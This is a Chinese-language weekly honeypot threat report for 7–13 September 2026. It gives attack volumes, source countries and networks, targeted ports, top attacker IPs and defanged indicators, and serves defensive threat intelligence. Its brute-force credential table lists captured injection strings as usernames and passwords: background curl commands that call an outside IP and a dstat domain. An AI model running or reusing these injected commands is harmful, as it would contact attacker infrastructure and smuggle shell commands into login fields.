WEEKLY REPORTS / 2026-W37
威胁周报 · 2026 年第 37 周
数据窗口:2026 年 9 月 7 日 – 2026 年 9 月 13 日(北京时间,周一至周日) · 发布于 2026 年 9 月 14 日 · 数据来源:TrapCloud 自有诱捕节点网络
本周结论:本周诱捕网络共捕获 75,051,022 次攻击、452,427 个独立攻击 IP,攻击总量较上周上升 26%。攻击来源以中国为主(占 38.1%)。最集中的攻击目标是 VNC 5900。有 288,754 个攻击源为历史首次现身。
总览
7505.1 万
攻击次数↑26%
45.2 万
独立攻击 IP(全网去重)↓1%
1072.2 万
日均攻击
210
来源国家 / 地区
9/11
峰值日1204.8 万 次
28.9 万
历史首次现身攻击源
23%
惯犯占比(上周也活跃)
逐日走势
| 日期 | 攻击次数 | 独立攻击 IP |
|---|---|---|
| 2026-09-07 | 8,178,869 | 96,238 |
| 2026-09-08 | 10,233,512 | 86,793 |
| 2026-09-09 | 11,781,093 | 126,966 |
| 2026-09-10 | 11,342,636 | 99,771 |
| 2026-09-11(峰值) | 12,047,603 | 118,312 |
| 2026-09-12 | 11,299,612 | 111,277 |
| 2026-09-13 | 10,167,697 | 94,903 |
TOP 攻击来源国家 / 地区
| 来源 | 攻击次数 | 独立 IP | 占比 |
|---|---|---|---|
| 中国 | 28,613,587 | 320,166 | 38.1% |
| 法国 | 5,479,188 | 2,561 | 7.3% |
| 荷兰 | 4,644,759 | 2,586 | 6.2% |
| 美国 | 4,554,353 | 33,648 | 6.1% |
| 英国 | 4,016,309 | 5,129 | 5.4% |
TOP 攻击来源网络(ASN)
| 网络 | 攻击次数 | 独立 IP |
|---|---|---|
| Chinanet | 9,997,269 | 148,038 |
| CHINA UNICOM China169 Backbone | 5,992,696 | 56,471 |
| Contabo GmbH | 4,588,288 | 173 |
| Euro Crypt EOOD | 3,408,150 | 102 |
| Alsycon B.V. | 3,242,397 | 60 |
高频攻击目标端口 / 服务
| 端口 / 服务 | 攻击次数 | 独立 IP |
|---|---|---|
| VNC 5900 | 13,178,804 | 1,833 |
| SSH 22 | 4,210,919 | 21,618 |
| SMB 445 | 3,712,567 | 522 |
| SNMP 161 | 1,615,420 | 3,027 |
| SIP 5060 | 1,543,507 | 2,639 |
| MSSQL 1433 | 1,263,527 | 5,842 |
| HTTPS 8443 | 531,685 | 33,562 |
| 端口 50000 | 313,328 | 12,885 |
无标准服务映射的端口诚实显示为「端口 N」;BT / P2P 共享类噪声端口已按平台统一口径排除。
高频爆破口令组合
| 用户名 | 密码 | 尝试次数 |
|---|---|---|
| curl -s http://167.148.195.3:80/ > /dev/null 2>&1 & | curl -s http://167.148.195.3:80/ > /dev/null 2>&1 & | 19,344 |
| curl -s http://http://dstat.countbot.uk:80/ > /dev/null 2>&1 & | curl -s http://http://dstat.countbot.uk:80/ > /dev/null 2>&1 & | 16,252 |
| root | (空) | 14,611 |
| ubuntu | 123456 | 12,445 |
| admin | admin | 11,933 |
TOP 攻击源 IP
| IP | 来源 | 攻击次数 | 行为画像 |
|---|---|---|---|
| 194.50.16.198 | 荷兰 | 2,644,669 | 全端口扫描 |
| 42.48.20.246 | 中国 | 1,518,587 | 高频攻击 |
| 79.124.40.74 | 保加利亚 | 939,039 | 全端口扫描 |
| 79.124.40.174 | 保加利亚 | 899,327 | 全端口扫描 |
| 187.191.2.214 | 墨西哥 | 663,487 | 高频攻击 |
本周恶意 IOC
本周有 12 个经平台研判为恶意的 IOC(攻击载荷投放地址 / 恶意域名 / 恶意攻击源)保持活跃,以下为其中命中最高的几个(已作无害化处理,不可直接访问):
| 类型 | 指标(已脱毒) | 命中次数 |
|---|---|---|
| 恶意攻击源 | 94[.]154[.]43[.]192 | 4 |
| 恶意攻击源 | 217[.]60[.]195[.]113 | 4,180 |
| 恶意攻击源 | 176[.]65[.]139[.]206 | 4 |
| 恶意攻击源 | 94[.]154[.]43[.]107 | 1 |
方法与口径
- 数据来自 TrapCloud 自有诱捕节点网络:节点不承载真实业务,正常用户不会访问,主动触碰即为可疑,因此源头误报极低。
- 攻击次数为原始事件量;独立攻击 IP 为跨全部节点去重后的口径。统计窗口为北京时间(Asia/Shanghai)周一 00:00 至周日 24:00。
- 「历史首次现身」以平台日聚合归档全史为基准;「惯犯占比」= 本周活跃 IP 中上周也活跃的比例。
- 诱捕节点自身的正常出站流量在采集源头剔除;网络空间测绘平台与真实攻击源分开标注;BT / P2P 共享类端口流量不计入攻击目标榜单。
- 局限与提醒:家庭宽带与移动网络存在 NAT 共享出口,IP 归属随时间变化(动态分配、云主机回收),名单中的 IP 表示其曾被观测到攻击行为,不构成对当前使用者的断言。封堵建议先观察后执行,并按需使用来源属性过滤。